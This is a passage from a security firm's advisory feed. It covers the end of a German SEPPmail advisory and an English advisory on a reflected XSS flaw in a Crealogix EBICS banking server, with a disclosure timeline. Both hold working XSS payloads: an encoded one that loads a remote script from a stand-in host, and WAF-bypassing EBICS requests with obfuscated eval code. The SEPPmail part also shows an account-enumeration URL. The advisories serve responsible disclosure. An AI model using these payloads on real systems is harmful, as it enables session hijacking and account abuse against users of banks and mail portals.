30000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000069%26%230000108%26%230000101%26%230000109%26%230000101%26%230000110%26%230000116%26%230000040%26%230000034%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000034%26%230000041%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000032%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000046%26%230000115%26%230000114%26%230000099%26%230000061%26%230000034%26%230000047%26%230000047%26%230000101%26%230000120%26%230000097%26%230000109%26%230000112%26%230000108%26%230000101%26%230000046%26%230000111%26%230000114%26%230000103%26%230000047%26%230000053%26%230000046%26%230000106%26%230000115%26%230000034%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000115%26%230000114%26%230000099%26%230000032%26%230000115%26%230000112%26%230000101%26%230000099%26%230000105%26%230000102%26%230000105%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%26%230000119%26%230000105%26%230000110%26%230000100%26%230000111%26%230000119%26%230000046%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000115%26%230000091%26%230000048%26%230000093%26%230000046%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000104%26%230000101%26%230000097%26%230000100%26%230000046%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000067%26%230000104%26%230000105%26%230000108%26%230000100%26%230000040%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000041%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%27&lt;/pre&gt;
&lt;p&gt;Ein Angreifer kann anschliessend in der JavaScript-Datei auf &lt;em&gt;example.org&lt;/em&gt; beliebigen JavaScript-Code ausliefern. Der Angreifer hat auch die Möglichkeit, den Angriff verdeckt im Hintergrund durchzuführen, ohne dass IFrames oder ähnliche Elemente sichtbar sind.&lt;/p&gt;
&lt;p&gt;Vorbedingung: Ein Angreifer muss zuerst eine ausnutzbare Cross-Site-Scripting-Verwundbarkeit finden. Ausserdem ist eine User-Interaktion nötig, damit der Angriff durchgeführt werden kann, wozu der Besuch einer Website des Angreifers genügt oder beispielsweise eine eingeblendete Werbung auf einer Webseite Dritter.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="verwundbare-version-der-javascript-bibliothek-jquery"&gt;
&lt;h3&gt;4. Verwundbare Version der JavaScript-Bibliothek jQuery&lt;/h3&gt;
&lt;p&gt;CVSS:3.1, &lt;strong&gt;0.0 Information&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Die SEPPmail-Appliance nutzt eine Version einer JavaScript-Bibliothek, welche bekannte Schwachstellen aufweist.&lt;/p&gt;
&lt;p&gt;Auswirkung: Findet ein Angreifer eine Stelle, an der die Schwachstelle ausgenutzt werden kann, ergibt sich ein Cross-Site-Scripting-Angriff auf die Webseite.&lt;/p&gt;
&lt;p&gt;Details: Unter der folgenden URL ist die JavaScript-Bibliothek jQuery verfügbar, welche in der Weboberfläche der SEPPmail-Appliance eingesetzt wird:&lt;/p&gt;
&lt;pre class="literal-block"&gt;https://securemail.example.org/js/jquery-3.4.1.min.js&lt;/pre&gt;
&lt;p&gt;Die Version 3.5 löst ein potentielles Cross-Site-Scripting-Problem, welches &lt;a class="reference external" href="https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/"&gt;im entsprechende Release-Log&lt;/a&gt; beschrieben wird.&lt;/p&gt;
&lt;p&gt;Vorbedingung: Ein Angreifer muss erst eine Stelle finden, wo jQuery in einer ausnutzbaren Form verwendet wird. Eine solche Stelle wurde während der gegebenen Untersuchungszeit nicht gefunden.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="registrierungsformular-erreichbar-und-enumeration-von-bereits-registrierten-e-mail-adressen"&gt;
&lt;h3&gt;5. Registrierungsformular erreichbar und Enumeration von bereits registrierten E-Mail-Adressen&lt;/h3&gt;
&lt;p&gt;CVSS:3.1, &lt;strong&gt;0.0 Information&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Obwohl in der SEPPmail-Installation die Funktionalität für die Selbstregistrierung von Benutzern deaktiviert wurde, kann ein Angreifer einen neuen Benutzer registrieren, konnte diesen jedoch nicht aktivieren.&lt;/p&gt;
&lt;p&gt;Auswirkung: Das Problem hat keine Auswirkung da der Benutzer-Account in der vorgefundenen Installation nicht aktiviert werden kann. Gelingt es einem Angreifer die Aktivierung vorzunehmen, wäre er in der Lage den eingeloggten Bereich von SEPPmail zu nutzen, ohne dass ein Account für den Angreifer erstellt wurde. Ein Angreifer kann ausserdem bestehende E-Mail-Adressen ausprobieren um herauszufinden, ob diese auf dem Portal bereits registriert sind. Die verwendete SEPPmail-Instanz hatte die Einstellung "Allow account self-registration in GINA portal without initial mail" deaktiviert.&lt;/p&gt;
&lt;p&gt;Details: Ruft ein Angreifer die folgende URL auf, wird ein neuer Account auf die in der URL enthaltenen E-Mail erstellt:&lt;/p&gt;
&lt;pre class="literal-block"&gt;https://securemail.example.org/web.app?session=&amp;amp;chksum=&amp;amp;op=accountinit&amp;amp;email=example@example.org&amp;amp;seppmailname=&amp;amp;uilang=e&amp;amp;newpw=11111111&amp;amp;newpw2=11111111&amp;amp;question=In+what+town+or+city+was+your+first+full+time+job%3f&amp;amp;question-preset=0&amp;amp;answer=111&amp;amp;telephone=&amp;amp;toconfirm=yes&lt;/pre&gt;
&lt;p&gt;Wird eine E-Mail-Adresse in der URL verwendet, welche bereits registriert ist, wird der Fehler “Der neue Benutzer konnte nicht angelegt werden” zurückgegeben. Somit kann ein Angreifer E-Mail-Adressen ausprobieren, um herauszufinden, ob eine E-Mail-Adresse bereits in SEPPmail erfasst ist. Wird eine noch nicht registrierte E-Mail-Adresse verwendet, wird der Account neu registriert. Auf dem System wurde daraufhin allerdings keine Aktivierungs-Mail ausgeliefert. Warum dies der Fall ist, ist unklar, allerdings wurde die E-Mail beim versenden blockiert. Ob intern in der SEPPmail-Datenbank trotzdem ein Benutzer erfasst wurde, wurde nicht untersucht.&lt;/p&gt;
&lt;p&gt;Vorbedingung: Der Angreifer kann lediglich bereits registrierte E-Mail-Adressen enumerieren. Für weitere Angriffe wären weitere Schwachstellen notwendig, beispielsweise solche, welche eine Aktivierung des Accounts ermöglichen.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="patches-and-workaround"&gt;
&lt;h2&gt;Patches and Workaround&lt;/h2&gt;
&lt;p&gt;Gemäss Seppmail AG wurden die Verwundbarkeiten mit Version 12.0.6 adressiert. Diese Version wurde am 2021-01-27 veröffentlicht.&lt;/p&gt;
&lt;/section&gt;</description><category>Advisory</category><guid>https://www.pentagrid.ch/de/blog/multiple-vulnerabilities-in-seppmail/</guid><pubDate>Tue, 15 Nov 2022 09:00:00 GMT</pubDate></item><item><title>Reflected cross-site scripting vulnerability in Crealogix EBICS implementation (CVE-2022-3442)</title><link>https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;During a penetration test of an Electronic Banking Internet Communication Standard (EBICS) environment, Pentagrid observed a vulnerability in the EBICS banking implementation developed by CREALOGIX AG and used by many banks. EBICS is a common standard in Germany, France and Switzerland for sending payment information from customers to banks and between banks.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="impact"&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;This reflected Cross-Site Scripting (XSS) vulnerability has an unknown impact, as the different EBICS client software were not in scope of the analysis and the impact depends on EBICS server deployment details as well.&lt;/p&gt;
&lt;p&gt;Cross-Site-Scripting allows an attacker to execute JavaScript in the attacked origin, allowing the attacker to act like the exploited user of the website.&lt;/p&gt;
&lt;p&gt;The issues is assumed to have a low to medium impact in most common deployment scenarios as the used domain for EBICS in the observed deployments was a subdomain of the main domain. This subdomain is usually not further used in the web/browser context as a web application.&lt;/p&gt;
&lt;p&gt;Additionally, the EBICS protocol does not rely on common browser security aspects:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;XML signatures are used for authentication instead of cookies.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;HTTP security headers (e.g. HSTS) are ignored in at least one tested EBICS client.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The EBICS client is usually not implemented as a website but as a standalone fat client software. The impact on EBICS client software would have to be analysed for each EBICS client individually. Moreover, it is unknown to Pentagrid if EBICS client software commonly support Inter Process Communication (IPC) mechanisms (e.g. URL handlers) that would allow an attacker to trigger the XSS in the EBICS client. Furthermore, the attacker would need to be able to use the XSS for exploitation in the EBICS client, which is again an individual aspect of each EBICS client.&lt;/p&gt;
&lt;p&gt;Therefore, Pentagrid concludes there are several reasons why the impact might be elevated to a higher level by an attacker:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;If the deployment is not on a separte EBICS subdomain, the domain might be in use for other web applications and therefore that web application origin would be affected by the XSS.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If the issue is combined with other vulnerabilities such as other web applications on other subdomains setting sensitive cookies on the parent domain without the httpOnly flag.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If an EBICS client could be exploited with the XSS, e.g. via IPC mechanisms or if the EBICS client is implemented as a web application. With the move to more browser-based solutions for accounting, it is getting more likely that EBICS client support is built into accounting web applications acting as EBICS clients.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The exact impact would need to be investigated on a per EBICS server and EBICS client deployment basis.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2022-08-12: Initial contact of CIO of Crealogix via E-mail.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-08-12: Crealogix replied that the EBICS software team was informed and additional organisational details were shared.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-08-15: Pentagrid communicates details of vulnerability. Crealogix replied that the analysis started.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-08-24: Pentagrid informs Crealogix of latest disclosure date 2022-11-21. Crealogix replies they are already working on a fix.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-09-28: Pentagrid requests status update. Crealogix replies the issue was fixed, a patched version released and installed for customers where Crealogix is responsible for operation. Pentagrid verifies fix and that it was deployed for one particular installation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-10-06: Pentagrid asks for which versions were fixed and if an earlier release than the 90 days deadline is possible.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-10-07: Crealogix informs that a fix is available for version 7.1 and agrees to early release.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-10-10: Public release of advisory. CVE-2022-3442 was assigned to this issue.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-18: Added link to OWASP Core Rule Set ticket.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;Affected of the XSS issue is the &lt;cite&gt;ebics.aspx&lt;/cite&gt; server-side script of the CREALOGIX EBICS server solution, usually hosted on &lt;cite&gt;/ebics-server/ebics.aspx&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Not affected are other software vendors such as those using server-sides usually hosted on &lt;cite&gt;/ebicsweb/ebicsweb&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h2&gt;Technical Details&lt;/h2&gt;
&lt;p&gt;Several tested instances of EBICS servers were found to deploy a Web Application Firewall (WAF) blocking certain attack payloads. All the used payloads in this advisory are payloads that were able to bypass the encountered WAFs. If no WAF is present, even simpler payloads can be used.&lt;/p&gt;
&lt;p&gt;The following EBICS request includes an invalid EBICS version that is a XSS payload executing the &lt;cite&gt;print&lt;/cite&gt; command in JavaScript:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; EBICS HTTPS request to the vulnerable EBICS server with some customer details masked in the example&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-1" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-1" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-1"&gt;&lt;/a&gt;POST /ebics-server/ebics.aspx HTTP/1.1
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-2" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-2" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-2"&gt;&lt;/a&gt;Content-Type: text/xml; charset=UTF-8
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-3" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-3" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-3"&gt;&lt;/a&gt;Host: www.example.org
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-4" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-4" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-4"&gt;&lt;/a&gt;Content-Length: 585
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-5" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-5" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-5"&gt;&lt;/a&gt;Connection: close
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-6" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-6" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-6"&gt;&lt;/a&gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-7" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-7" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-7"&gt;&lt;/a&gt;&amp;lt;?xml version="1.0" encoding="utf-8" standalone="no"?&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-8" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-8" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-8"&gt;&lt;/a&gt;&amp;lt;ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&amp;amp;lt;a autofocus onfocus=print(1) href&amp;amp;gt;&amp;amp;lt;/a&amp;amp;gt;;"&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-9" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-9" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-9"&gt;&lt;/a&gt;    &amp;lt;header authenticate="true"&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-10" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-10" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-10"&gt;&lt;/a&gt;        &amp;lt;static&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-11" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-11" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-11"&gt;&lt;/a&gt;            &amp;lt;HostID&amp;gt;XXX&amp;lt;/HostID&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-12" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-12" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-12"&gt;&lt;/a&gt;            &amp;lt;PartnerID&amp;gt;XXX&amp;lt;/PartnerID&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-13" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-13" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-13"&gt;&lt;/a&gt;            &amp;lt;UserID&amp;gt;XXX&amp;lt;/UserID&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-14" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-14" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-14"&gt;&lt;/a&gt;            &amp;lt;Product InstituteID="XXX" Language="de"&amp;gt;XXX&amp;lt;/Product&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-15" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-15" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-15"&gt;&lt;/a&gt;            &amp;lt;OrderDetails&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-16" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-16" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-16"&gt;&lt;/a&gt;                &amp;lt;OrderType&amp;gt;XXX&amp;lt;/OrderType&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-17" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-17" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-17"&gt;&lt;/a&gt;                &amp;lt;OrderAttribute&amp;gt;XXX&amp;lt;/OrderAttribute&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-18" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-18" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-18"&gt;&lt;/a&gt;            &amp;lt;/OrderDetails&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-19" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-19" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-19"&gt;&lt;/a&gt;            &amp;lt;SecurityMedium&amp;gt;0000&amp;lt;/SecurityMedium&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-20" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-20" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-20"&gt;&lt;/a&gt;        &amp;lt;/static&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-21" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-21" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-21"&gt;&lt;/a&gt;        &amp;lt;mutable/&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-22" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-22" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-22"&gt;&lt;/a&gt;    &amp;lt;/header&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-23" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-23" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-23"&gt;&lt;/a&gt;    &amp;lt;body&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-24" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-24" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-24"&gt;&lt;/a&gt;        &amp;lt;DataTransfer&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-25" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-25" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-25"&gt;&lt;/a&gt;            &amp;lt;OrderData&amp;gt;XXX&amp;lt;/OrderData&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-26" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-26" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-26"&gt;&lt;/a&gt;        &amp;lt;/DataTransfer&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-27" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-27" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-27"&gt;&lt;/a&gt;    &amp;lt;/body&amp;gt;
&lt;a id="rest_code_03298fb50e1744fd99c08dffbeee4d87-28" name="rest_code_03298fb50e1744fd99c08dffbeee4d87-28" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03298fb50e1744fd99c08dffbeee4d87-28"&gt;&lt;/a&gt;&amp;lt;/ebicsUnsecuredRequest&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The server will respond with the following error message with a &lt;cite&gt;Content-Type&lt;/cite&gt; of &lt;cite&gt;text/html&lt;/cite&gt;, making it exploitable in browsers:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-1" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-1" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-1"&gt;&lt;/a&gt;HTTP/1.1 200 OK
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-2" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-2" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-2"&gt;&lt;/a&gt;Cache-Control: private
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-3" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-3" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-3"&gt;&lt;/a&gt;Content-Type: text/html; charset=utf-8
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-4" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-4" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-4"&gt;&lt;/a&gt;Date: Sat, 13 Aug 2022 13:12:03 GMT
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-5" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-5" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-5"&gt;&lt;/a&gt;Connection: close
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-6" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-6" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-6"&gt;&lt;/a&gt;Vary: Accept-Encoding
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-7" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-7" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-7"&gt;&lt;/a&gt;Content-Length: 309
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-8" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-8" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-8"&gt;&lt;/a&gt;
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-9" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-9" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-9"&gt;&lt;/a&gt;System.Exception: Unknown ebicsVersion '&amp;lt;a autofocus onfocus=print(1) href&amp;gt;&amp;lt;/a&amp;gt;'.
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-10" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-10" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-10"&gt;&lt;/a&gt;   at EBICSServer.EbicsNamespaces.GetEbicsXmlns(String ebicsVersion)
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-11" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-11" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-11"&gt;&lt;/a&gt;   at EBICSServer.EbicResponse..ctor(String ebicsVersion, String orderType, String partnerId)
&lt;a id="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-12" name="rest_code_03eca64e062949c08cf3d4bd94fbc0cf-12" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_03eca64e062949c08cf3d4bd94fbc0cf-12"&gt;&lt;/a&gt;   at EBICSServer.Ebics.Page_Load(Object sender, EventArgs e)
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To achieve arbitrary JavaScript code execution, the following payload can be used instead:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_84c2dfb826cf40c69992da099705a3d3-1" name="rest_code_84c2dfb826cf40c69992da099705a3d3-1" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_84c2dfb826cf40c69992da099705a3d3-1"&gt;&lt;/a&gt;&amp;lt;ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&amp;amp;lt;a autofocus onfocus='a=&amp;amp;quot;e&amp;amp;quot;;a+=&amp;amp;quot;val(decodeURIComponent(location.hash.slice(1)))&amp;amp;quot;;b=&amp;amp;quot;cons&amp;amp;quot;;b+=&amp;amp;quot;tructor&amp;amp;quot;;true[b][b](a)()' href&amp;amp;gt;"&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The server will respond with the following HTTP body:&lt;/p&gt;
